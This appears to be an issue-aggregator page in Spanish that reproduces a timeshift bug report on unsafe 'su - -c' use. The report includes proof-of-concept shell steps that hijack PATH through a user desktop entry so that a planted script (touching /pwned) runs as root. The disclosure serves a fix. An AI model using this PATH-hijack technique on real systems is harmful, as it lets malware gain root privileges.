Unsafe su - -c usage
Nadie ha tomado este issue todavía.
Evaluación
- Dificultad
- 3/5
- Tiempo estimado
- 1-2 días
- Aptitud para principiantes
- 45/100
- Tipo de issue
- Error
- Claridad
- Bastante claro
- Estado de actividad
- Estancado
- Área
- security
Línea de trabajo
Comienza localizando el código que invoca timeshift-launcher e inspecciona el uso de su - -c señalado en el informe. Reproduce la configuración de desktop entry proporcionada y verifica después que al iniciarla se use una ruta absoluta al ejecutable y que ya no se ejecute un timeshift-launcher controlado por el usuario.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
Describe the bug
First of all, running GUI Applications as root should be avoided when possible.
But when needed, it at least should be safe.
To Reproduce
Steps to reproduce the behavior:
- Login as a regular user
- Execute the following:
cp /usr/share/applications/timeshift-gtk.desktop .local/share/applications/
sed -i "s|timeshift-launcher|env PATH=/home/`whoami`/.local/bin:\$PATH timeshift-launcher|" .local/share/applications/timeshift-gtk.desktop
update-desktop-database .local/share/applications
cat << EOF > .local/bin/timeshift-gtk
#!/bin/bash
touch /pwned
EOF
chmod +x .local/bin/timeshift-gtk
- Now instead of launching timeshift, user will grant root permision to any possible malware
Now try it yourself
ls /pwned
Expected behavior
An absolute path should be used in timeshift-launcher to avoid security issue
- Lenguaje dominante
- Vala
- Estrellas
- 4.3k
- Forks
- 159
- Métricas de merge de PR
- Sin PR fusionados en 30 d
Preparar el entorno
Este proyecto no incluye contenedor de desarrollo, Dockerfile ni guía de contribución, así que la configuración corre por tu cuenta: empieza por su README y consulta nuestra guía para la primera contribución para los pasos generales.
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de linuxmint/timeshift
-
Dificultad 1/5 1-3 horas Aptitud para principiantes 78/100
-
License parsing with GitHubAbierto
Dificultad 1/5 Menos de una hora Aptitud para principiantes 68/100
-
Dificultad 3/5 1-2 días Aptitud para principiantes 50/100
-
Dificultad 5/5 Más de una semana Aptitud para principiantes 35/100
-
Dificultad 3/5 1-2 días Aptitud para principiantes 57/100
Todos los issues de linuxmint/timeshift
Issues similares
-
effort:high model:sonnet phase:3 type:docs
Dificultad 2/5 1-3 horas Aptitud para principiantes 68/100
-
Patches of derivations with `__structuredAttrs` are ignoredPosiblemente ocupada @KiaraGrouwstra la tomó hoy. Abierto
Dificultad 2/5 1-3 horas Aptitud para principiantes 81/100
nix-community/vulnix#184 ·
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
ZcashFoundation/frost-tools#612 ·
-
bug
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
leikoilja/ha-google-home#1088 ·
Los mantenedores suelen responder en 1 día
-
Unvalidated `STELLAR_NETWORK` lookup via `STELLAR_NETWORKS[selectedKey]` accepts prototype keysPosiblemente ocupada @eeshasalaudeen734-creator la tomó hoy. Abiertobug security stellar Stellar Wave
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
Qyoue/Qyou#1113 · 2 comentarios ·
Los mantenedores suelen responder en 1 día